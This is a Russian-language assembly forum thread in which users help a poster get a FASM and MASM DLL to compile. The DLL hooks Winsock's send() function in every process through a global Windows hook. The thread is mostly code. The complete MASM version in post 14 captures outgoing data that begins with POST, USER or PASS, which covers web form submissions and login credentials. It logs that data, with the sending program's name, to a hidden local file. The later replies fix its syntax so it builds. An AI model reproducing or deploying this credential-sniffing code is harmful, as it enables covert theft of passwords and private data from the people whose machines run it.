[FASM] Hook send()

Тема в разделе "WASM.BEGINNERS", создана пользователем miae, 14 июл 2010.

  1. miae

    miae Member

    Публикаций:
    0
    Регистрация:
    22 дек 2007
    Сообщения:
    44
    Подсобите с кодом перехвата send()

    Сильно прошу не пинать ...

    Код (Text):
    1. format PE GUI 4.0 DLL
    2. entry DLLEntry
    3. include 'win32a.inc'
    4. include 'macro/if.inc'
    5.  
    6. section '.code' code readable executable
    7.  
    8. proc DLLEntry, hinstDLL,fdwReason,lpvReserved
    9.      mov eax,[hinstDLL]
    10.      mov [hInstance],eax
    11.      mov  eax,TRUE
    12. ret
    13. endp
    14.  
    15. proc NewSend,pSocket,pBuffer,pLength,pFlags
    16. ;     invoke GetModuleFileName,NULL,addr ModuleFileName,sizeof ModuleFileName
    17.      mov edi,[pBuffer]
    18.      .if edi = 'TSOP'
    19.      invoke MessageBox,0,[pBuffer],0,0
    20.      .elseif edi = ' TEG'
    21.      invoke MessageBox,0,[pBuffer],0,0
    22.      .endif
    23.      xor eax,eax
    24.      invoke    WriteProcessMemory,INVALID_HANDLE_VALUE,MbaAdr,[OldMba],sizeof.OldCode,Written
    25.      invoke    send,pSocket,pBuffer,pLength,pFlags
    26.      push      eax
    27.      invoke    WriteProcessMemory,INVALID_HANDLE_VALUE,MbaAdr,[JmpMba],sizeof.FarJmp,Written
    28.      pop       eax
    29.      invoke CallNextHookEx,[HookHandle],[nCode],[wParam],[lParam]
    30.      ret
    31. endp
    32.  
    33. _start:
    34.  
    35. invoke SetWindowsHookEx,WH_GETMESSAGE,NewSend,[hInstance],NULL
    36. mov [HookHandle],eax
    37. ret
    38.  
    39.  
    40. section '.data' data readable writeable
    41. HookHandle dd ?
    42. hInstance dd ?
    43.  
    44. struct OldCode
    45. one dw ?
    46. two db ?
    47. ends
    48.  
    49. struct FarJmp
    50. PuhsOp db ?
    51. PushArg dw ?
    52. RetOp db ?
    53. ends
    54.  
    55. JmpMba FarJmp <>
    56. OldMba OldCode <>
    57. MbaAdr  dw ?
    58. Written dw ?
    59.  
    60. section '.idata' import data readable writeable
    61.      library kernel32,'KERNEL32.DLL',\
    62.              user32,'USER32.DLL'
    63.      include 'api\kernel32.inc'
    64.      include 'api\user32.inc'
    65.      include 'api\wsock32.inc'
    66.  
    67. section '.edata' export data readable
    68. export 'Hook.DLL',_start,'_start',NewSend,'NewSend'
    69.  
    70. section '.reloc' fixups data discardable
     
  2. Clerk

    Clerk Забанен

    Публикаций:
    0
    Регистрация:
    4 янв 2008
    Сообщения:
    6.689
    Адрес:
    РБ, Могилёв
  3. miae

    miae Member

    Публикаций:
    0
    Регистрация:
    22 дек 2007
    Сообщения:
    44
    С учетом ошибок ... но в процессе компиляции затыкается на строчке

    Код (Text):
    1. mov hUser32, eax
    с ошибкой: Invalid operand

    mov ..var?QE,eax

    что не так ???

    Код (Text):
    1. proc SetIntercept
    2.  locals
    3.      hUser32 rb 1
    4.      Bytes   rb 1
    5.  endl
    6.      invoke GetModuleHandle,addr lib
    7.      mov hUser32, eax
    8.      invoke GetProcAddress,hUser32,addr funcname
    9.      mov MbaAdr, eax
    10.      invoke ReadProcessMemory,INVALID_HANDLE_VALUE, MbaAdr, addr OldMba, sizeof.OldCode,[Bytes]
    11.      mov JmpMba.PuhsOp, 0068h
    12.      mov JmpMba.PushArg, [NewSend]
    13.      mov JmpMba.RetOp, 00C3h
    14. invoke WriteProcessMemory, INVALID_HANDLE_VALUE, MbaAdr,addr JmpMba, sizeof.farJmp,[Bytes]
    15. ret
    16. endp
     
  4. Y_Mur

    Y_Mur Active Member

    Публикаций:
    0
    Регистрация:
    6 сен 2006
    Сообщения:
    2.494
    mov [hUser32], eax
    Это в масме с его обязательным offset можно на скобки забивать, а в фасме низя ;)
    И кстати 1 байта на хендл маловато будет :)
     
  5. Troj

    Troj New Member

    Публикаций:
    0
    Регистрация:
    12 фев 2010
    Сообщения:
    21
  6. miae

    miae Member

    Публикаций:
    0
    Регистрация:
    22 дек 2007
    Сообщения:
    44
    ну помогите отладить код ... я в теории уже все понимаю, только синтаксис победить не получается

    затыкается на

    Код (Text):
    1. invoke  SetIntercept
    не вкурю чего ей не хватает

    Код (Text):
    1. format PE GUI 4.0 DLL
    2. entry DLLEntry
    3. include 'win32a.inc'
    4. include 'macro/if.inc'
    5.  
    6. section '.code' code readable executable
    7.  
    8. proc DLLEntry, hinstDLL,fdwReason,lpvReserved
    9.      .if     [fdwReason] = DLL_PROCESS_ATTACH
    10.            invoke  SetIntercept
    11.            invoke  SetHook
    12.      .elseif [fdwReason] = DLL_PROCESS_DETACH
    13.            invoke  FreeLibrary, [hinstDLL]
    14.      .endif
    15.      mov  eax,TRUE
    16. ret
    17. endp
    18.  
    19. proc MyHook, nCode, wParam, lParam
    20.      invoke CallNextHookEx,[HookHandle],[nCode],[wParam],[lParam]
    21. ret
    22. endp
    23.  
    24. proc SetIntercept
    25.  locals
    26.      hUser32 rd 1
    27.      Bytes   dd ?
    28.  endl
    29.      invoke GetModuleHandle,addr lib
    30.      mov [hUser32], eax
    31.      invoke GetProcAddress,[hUser32], funcname
    32.      mov [MbaAdr], eax
    33.      invoke ReadProcessMemory,INVALID_HANDLE_VALUE, [MbaAdr], [OldMba], sizeof.OldCode, [Bytes]
    34.      mov [JmpMba.PuhsOp], 0068h
    35.      mov [JmpMba.PushArg], NewSend
    36.      mov [JmpMba.RetOp], 00C3h
    37.      invoke WriteProcessMemory, INVALID_HANDLE_VALUE, [MbaAdr],[JmpMba], sizeof.farJmp,[Bytes]
    38. ret
    39. endp
    40.  
    41. proc TrueSend, tSocket,tBuffer,tLength,tFlags
    42. invoke WriteProcessMemory, INVALID_HANDLE_VALUE, MbaAdr, addr OldMba, sizeof.OldCode,[Written]
    43. invoke send, [tSocket], [tBuffer], [tLength], [tFlags]
    44. push eax
    45. invoke WriteProcessMemory, INVALID_HANDLE_VALUE, MbaAdr,addr JmpMba, sizeof.FarJmp,[Written]
    46. pop eax
    47. ret
    48. endp
    49.  
    50. proc NewSend, tSocket, tBuffer, tLength, tFlags
    51.      mov edi,[tBuffer]
    52.      .if edi = 'TSOP'
    53.      invoke MessageBox,0,[tBuffer],0,0
    54.      .elseif edi = ' TEG'
    55.      invoke MessageBox,0,[tBuffer],0,0
    56.      .endif
    57.      invoke TrueSend, [tSocket], [tBuffer], [tLength], [tFlags]
    58.      ret
    59. endp
    60.  
    61. SetHook:
    62.      invoke SetWindowsHookEx,WH_GETMESSAGE,MyHook,[hInstance],NULL
    63.      mov [HookHandle],eax
    64. ret
    65.  
    66. section '.data' data readable writeable
    67. HookHandle dd ?
    68. hInstance dd ?
    69. funcname  db 'send',0
    70. lib       db 'ws2_32.dll',0
    71.  
    72. struct OldCode
    73. one dd ?
    74. two dw ?
    75. ends
    76.  
    77. struct FarJmp
    78. PuhsOp  dw ?
    79. PushArg dd ?
    80. RetOp   dw ?
    81. ends
    82.  
    83. JmpMba FarJmp <>
    84. OldMba OldCode <>
    85. MbaAdr  dd ?
    86. Written dd ?
    87.  
    88. section '.idata' import data readable writeable
    89.      library kernel32,'KERNEL32.DLL',\
    90.              user32,'USER32.DLL'
    91.      include 'api\kernel32.inc'
    92.      include 'api\user32.inc'
    93.      include 'api\wsock32.inc'
    94.  
    95. section '.edata' export data readable
    96. export 'hook.dll',SetHook,'SetHook',NewSend,'NewSend'
    97.  
    98. section '.reloc' fixups data discardable
     
  7. tyug

    tyug New Member

    Публикаций:
    0
    Регистрация:
    26 окт 2008
    Сообщения:
    19
    Может?
    Код (Text):
    1. stdcall SetIntercept
     
  8. n0name

    n0name New Member

    Публикаций:
    0
    Регистрация:
    5 июн 2004
    Сообщения:
    4.336
    Адрес:
    Russia
    Код (Text):
    1. invoke X -> call [X]
    2. stdcall X -> call X
     
  9. miae

    miae Member

    Публикаций:
    0
    Регистрация:
    22 дек 2007
    Сообщения:
    44
    ок, поменял на call SetIntercept

    либа скомпилировалась успешно ... теперь бы еще заработала )))
     
  10. FCron

    FCron New Member

    Публикаций:
    0
    Регистрация:
    29 июн 2010
    Сообщения:
    7
    было бы замечательно если бы оно собиралось:

    Assembling: Wsi.asm
    Idp.inc(55) : error A2008: syntax error : PVOID
    Idp.inc(56) : error A2008: syntax error : PVOID
    Idp.inc(57) : error A2008: syntax error : PVOID
    Idp.inc(58) : error A2008: syntax error : PVOID

    и еще несколько экранов (

    было бы замечательно двигать интересные идеи вместе с Makefile'ами особенно для новичков как я
     
  11. Clerk

    Clerk Забанен

    Публикаций:
    0
    Регистрация:
    4 янв 2008
    Сообщения:
    6.689
    Адрес:
    РБ, Могилёв
    FCron
    Это для тех, кто может скомпилить :)
    PVOID typedef DWORD.
     
  12. FCron

    FCron New Member

    Публикаций:
    0
    Регистрация:
    29 июн 2010
    Сообщения:
    7
    меня всегда пугали виндовые typedef'ы, зоопарк HANDLE, DWORD и кучу всяких непонятных указателей на указатели
    в линуксе както все роднее кажется )

    а так вроде компилить умею, даже писать, даже на сях, тока под линух

    ну а всеже, поделись Makefile'ом (make.bat, make_it_work.cmd, etc) plz

    аля


    @set MASM=c:\masm32
    @set MASM_LIB=%MASM%\lib
    @set MASM_INC=%MASM%\include

    @set AS=%MASM%\bin\ml.exe
    @set LD=%MASM%\bin\link.exe

    @if exist *.obj del *.obj

    @set AS_FILES=%SRCS%
    @set AS_FLAGS=/c /coff /nologo /Cp /Gz /I%USER_INC% /I%MASM_INC%

    @for %%f in (%AS_FILES%) do @%AS% %AS_FLAGS% %%f && @if errorlevel 1 exit

    @if exist *.exe del *.exe

    @set LD_FILES=*.obj
    @rem @set LD_FLAGS=/nologo /noentry /dll /def:%DEFS% /opt:ref /libpath:%MASM_LIB%
    @set LD_FLAGS=/nologo /libpath:%MASM_LIB%

    @%LD% %LD_FLAGS% %LD_FILES%
     
  13. Clerk

    Clerk Забанен

    Публикаций:
    0
    Регистрация:
    4 янв 2008
    Сообщения:
    6.689
    Адрес:
    РБ, Могилёв
    FCron
    Батник обычный. Вы не скомпилите мой код, так как у вас скорее всего масма пакет обычный. У меня хидеры свои.
     
  14. miae

    miae Member

    Публикаций:
    0
    Регистрация:
    22 дек 2007
    Сообщения:
    44
    Вот самый простой пример, в нем все понятно и компилируется легко ... жаль что это не FASM )))

    Код (Text):
    1. .386
    2. .model flat,stdcall
    3. option casemap:none
    4. include masm32includewindows.inc
    5. include masm32includeuser32.inc
    6. include masm32includekernel32.inc
    7. includelib masm32libuser32.lib
    8. includelib masm32libkernel32.lib
    9. include masm32includemasm32.inc
    10. includelib masm32libmasm32.lib
    11. include masm32includews2_32.inc
    12. includelib masm32libws2_32.lib
    13. SetGlobalHook proto
    14. SetHook proto
    15.  
    16. .const
    17. rz db 13,10
    18. lib db "ws2_32.dll",0 ;dll-ка
    19. funcname db "send",0 ;перехватываемая функция
    20. fn db "C:send.txt",0 ;Файл в который будут записаны данные
    21. okw db "------>",0 ; для красоты :)
    22.  
    23. .data?
    24. ModuleFileName db 4096 dup (?) ;сюда будет записано имя проги, посылающей данные
    25. e dword ?
    26. HI dword ?
    27. TrId dword ?
    28. R db 512 dup (?)
    29.  
    30. OldCode STRUCT
    31. one dword ?
    32. two word ?
    33. OldCode ENDS
    34.  
    35. far_jmp STRUCT
    36. PuhsOp byte ?
    37. PushArg dword ?
    38. RetOp byte ?
    39. far_jmp ENDS
    40.  
    41. JmpMba far_jmp
    42. OldMba OldCode
    43. MbaAdr dword ?
    44.  
    45. .code
    46. ; True функция
    47. Truesend proc s: DWORD, b:DWORD, lb:DWORD, h:DWORD
    48. LOCAL Written: dword
    49. invoke WriteProcessMemory, INVALID_HANDLE_VALUE, MbaAdr, addr OldMba, SizeOf OldCode,addr Written
    50. invoke send,s,b,lb,h
    51. push eax
    52. invoke WriteProcessMemory, INVALID_HANDLE_VALUE, MbaAdr,addr JmpMba, SizeOf far_jmp,addr Written
    53. pop eax
    54. ret
    55. Truesend endp
    56.  
    57. ;Функция записи логов в файл (имя приложения и посылаемые им данные)
    58. filewr proc,b_:DWORD, lb_:DWORD
    59. LOCAL hFile: dword
    60. LOCAL ln: dword
    61. LOCAL t: dword
    62. invoke CreateFile,ADDR fn,
    63. GENERIC_READ or GENERIC_WRITE,
    64. FILE_SHARE_READ,
    65. NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_ARCHIVE,
    66. NULL
    67. mov hFile,eax
    68. invoke SetFilePointer,hFile, 0, 0, FILE_END
    69. invoke GetModuleFileName,NULL,addr ModuleFileName,sizeof ModuleFileName
    70. mov t, eax
    71. invoke WriteFile,hFile,addr ModuleFileName, t,addr ln,NULL
    72. invoke WriteFile,hFile,addr okw, 7,addr ln,NULL
    73. invoke WriteFile,hFile,addr rz, 2,addr ln,NULL
    74. invoke WriteFile,hFile,b_, lb_,addr ln,NULL
    75. invoke WriteFile,hFile,addr rz, 2,addr ln,NULL
    76. invoke WriteFile,hFile,addr rz, 2,addr ln,NULL
    77. invoke CloseHandle, hFile
    78. ret
    79. filewr endp
    80.  
    81. ;обработчик – сохраняем данные, которые начинаются на POST, USER и PASS
    82. newsend proc s: DWORD, b:DWORD, lb:DWORD, h:DWORD
    83. mov edi, b
    84. .IF (dword ptr [edi] == 'TSOP')
    85. invoke filewr, b, lb
    86. .ELSEIF (dword ptr [edi] == 'RESU')
    87. invoke filewr, b, lb
    88. .ELSEIF (dword ptr [edi] == 'SSAP')
    89. invoke filewr, b, lb
    90. .ENDIF
    91. invoke Truesend,s,b,lb,h
    92. ret
    93. newsend endp
    94.  
    95. SetHook proc
    96. LOCAL hUser32: dword
    97. LOCAL Bytes: dword
    98. invoke GetModuleHandle,addr lib
    99. mov hUser32, eax
    100. invoke GetProcAddress,hUser32,addr funcname
    101. mov MbaAdr, eax
    102. invoke ReadProcessMemory,INVALID_HANDLE_VALUE, MbaAdr, addr OldMba, SizeOf OldCode,addr Bytes
    103. mov JmpMba.PuhsOp, 0068h
    104. mov JmpMba.PushArg, offset newsend
    105. mov JmpMba.RetOp, 00C3h
    106. invoke WriteProcessMemory, INVALID_HANDLE_VALUE, MbaAdr,addr JmpMba, SizeOf far_jmp,addr Bytes
    107. ret
    108. SetHook endp
    109.  
    110. MessageProc proc nCode:DWORD,wparam:DWORD,lparam:DWORD
    111. invoke CallNextHookEx, 0, nCode, wparam, lparam
    112. xor eax, eax
    113. ret
    114. MessageProc endp
    115.  
    116. SetGlobalHookProc proc
    117. invoke SetWindowsHookEx, WH_GETMESSAGE, addr MessageProc, HI, 0
    118. invoke Sleep, INFINITE
    119. ret
    120. SetGlobalHookProc endp
    121.  
    122. SetGlobalHook proc
    123. LOCAL hMutex: dword
    124. invoke CreateMutex, 0,0,0
    125. mov hMutex, eax
    126. invoke GetLastError
    127. .IF eax==0
    128. invoke CreateThread,0,0, addr SetGlobalHookProc, 0, 0, TrId
    129. .ELSE
    130. invoke CloseHandle, hMutex
    131. .ENDIF
    132. ret
    133. SetGlobalHook endp
    134.  
    135. DllEntry proc hInstance:HINSTANCE, reason:DWORD, reserved1:DWORD
    136. push hInstance
    137. pop HI
    138. .if reason==DLL_PROCESS_ATTACH
    139. invoke SetGlobalHook
    140. invoke SetHook
    141. .endif
    142. mov eax,TRUE
    143. ret
    144. DllEntry endp
    145.  
    146. End DllEntry
     
  15. Clerk

    Clerk Забанен

    Публикаций:
    0
    Регистрация:
    4 янв 2008
    Сообщения:
    6.689
    Адрес:
    РБ, Могилёв
    miae
    Это не статус(код ошибки), а константа NtCurrentProcess..
     
  16. FCron

    FCron New Member

    Публикаций:
    0
    Регистрация:
    29 июн 2010
    Сообщения:
    7
    как выше уже выяснил господин Клерк - у меня обычный пакет масм, поэтому компилится не так легко

    include masm32includewindows.inc
    include masm32includeuser32.inc
    include masm32includekernel32.inc

    с этим разобрался, а вот
    Код (Text):
    1. OldCode STRUCT
    2. one dword ?
    3. two word ?
    4. OldCode ENDS
    5.  
    6. far_jmp STRUCT
    7. PuhsOp byte ?
    8. PushArg dword ?
    9. RetOp byte ?
    10. far_jmp ENDS
    11.  
    12. JmpMba far_jmp
    13. OldMba OldCode
    меня ввели в ступор

    мама както сказала что объявлять структуры в .DATA - зло
    а папа сказал что я занимаюсь х#$%й и заставил пересесть за линукс и програмить на сях... ну это так, лирика

    подвох я тут не понял, объясните пожалуйста
     
  17. Troj

    Troj New Member

    Публикаций:
    0
    Регистрация:
    12 фев 2010
    Сообщения:
    21
    Должно быть так:
    Код (Text):
    1. OldCode STRUCT
    2. one dword ?
    3. two word ?
    4. OldCode ENDS
    5.  
    6. far_jmp STRUCT
    7. PuhsOp byte ?
    8. PushArg dword ?
    9. RetOp byte ?
    10. far_jmp ENDS
    11.  
    12. JmpMba far_jmp <>
    13. OldMba OldCode <>
    И всё скомпилится гуд.